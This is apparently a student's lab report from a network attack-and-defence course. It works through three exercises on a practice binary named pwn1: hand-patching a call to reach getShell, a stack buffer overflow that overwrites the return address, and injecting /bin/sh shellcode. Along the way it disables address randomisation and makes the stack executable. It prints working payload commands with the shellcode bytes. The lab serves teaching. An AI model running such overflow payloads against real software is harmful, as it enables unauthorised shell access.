20212918 2021-2022-2 《网络攻防实践》实践九作业

1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2 实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

3 基础知识

3.1 反汇编指令

指令 作用
-d 表示汇编
xxx 为可执行文件
more 表示分页指令

3.2 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP汇编指令的机器码是“90”
  • JNE汇编指令的机器码是“75”
  • JE 汇编指令的机器码是“74”
  • JMP汇编指令的机器码是“eb”
  • CMP汇编指令的机器码是“39”

3.3 掌握反汇编与十六进制编程器

  • objdump -d filename
  • objdump(object dump) 项目导出
  • -d(disassemble) 反汇编
  • filename 反汇编的可执行文件

4 实践过程

  • 1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
    (1)进入到pwn1文件所在文件夹,使用指令objdump -d pwn1反汇编提供的pwn1文件,可以看到pwn1所有的函数,如果想分页,可以使用指令objdump -d pwn1 | more。
    image
    (2)我们可以看到getShell函数、main函数和foo函数
    image
    在main函数调用中,我们可以看到80484b5这一行中,第四列是汇编指令,代表调用地址为8048491的foo函数,“e8 d7 ff ff ff”是机器指令,e8的含义是“跳转”,EIP值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。
    (3)通过输入指令vi pwn1,进入编辑器。
    image

(4)输入指令:%!xxd,将文编显示改为十六进制模式。
image
(5)找到000004b0行,将第四列中的d7改为c3,修改完毕数据后,输入指令":%!xxd -r"将文件恢复文本显示,输入:wq保存并退出。返回重新查看,发现已经改成功。
image
(6)运行pwn1,验证通过。
image

  • 2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    (1)首先使用命令apt install gdb安装gdb。
    (1)反编译pwn1后,查看foo函数。
    image
    foo函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放0x1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中。
    (2)验证EIP是否被覆盖,通过使用gdb对pwn1进行调试
    image
    image
    当输入长度为40的字符串“1111111122222222333333334444444455555555”后出现段错误,查看各寄存器状态可以发现当前EIP寄存器的内容为0x35353535(“5”的ASCLL码的十六进制为35),因此可以说明当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。
    (3)构造输入字符串并作为pwn1的输入,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    image
    (4)使用命令(cat input; cat) | ./pwn1,运行结果如下所示
    image
  • 3 注入一个自己制作的shellcode并运行这段shellcode
    (1)使用命令execstack -s pwn1,将堆栈设为可执行状态
    ;使用execstack -q pwn1,查看文件pwn1的堆栈是否是可执行状态;使用more/proc/sys/kernel/randomize_va_space,来查看地址随机化的状态;使用echo "0"> /proc/sys/kernel/randomize_va_space,来关闭地址随机化
    image
    (2)输入命令“perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode”进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr。
    image
    (3)然后在该终端运行“(cat input_shellcode;cat) | ./pwn1”注入这段攻击buf,打开另一个终端,运行“ps -ef | grep pwn”,可以看到pwn的进程182953。
    image
    (4)用gdb的“attach 182953”命令启动gdb调试这个进程。
    image
    (5)用“disassemble foo”命令反汇编,设置断点查看注入buf的内存地址。
    image
    (6)输入“b *0x080484ae”命令设置断点,输入“c”命令(continue)继续运行。
    image
    (7)在进程正在运行的终端敲回车,使其继续执行。
    image
    (8)再返回调试终端,输入“info r esp”命令查找地址为“x/16x 0xffffd59c”。
    image
    (9)入“x/16x 0xffffd59c”命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd59c+0x00000004=0xffffd5a0,所以地址应为0xffffd5a0。
    image
    (10)将之前的\x4\x3\x2\x1改为这个地址0xffffd5a0即可,用命令perl -e 'print "A" x 32;print "\xa0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode。再用“(cat input_shellcode;cat) | ./pwn1”命令次执行程序,攻击成功。
    image

5 学习中遇到的问题与解决方案

  • 在第三个小实验中,在做到最后一步时,无法退出程序运行状态。
    解决方法:通过开第三个命令提示符,将实验做完。

6 学习收获与体会

在本次实验中,我学会了使用gdb以及反编译指令,了解了NOP, JNE, JE, JMP, CMP汇编指令的机器码。但是在做实验中也遇到了一些问题,在经过查找资料与询问同学,成功将问题解决。

posted @ 2022-05-13 17:06  別來無恙〆  阅读(19)  评论(0编辑  收藏  举报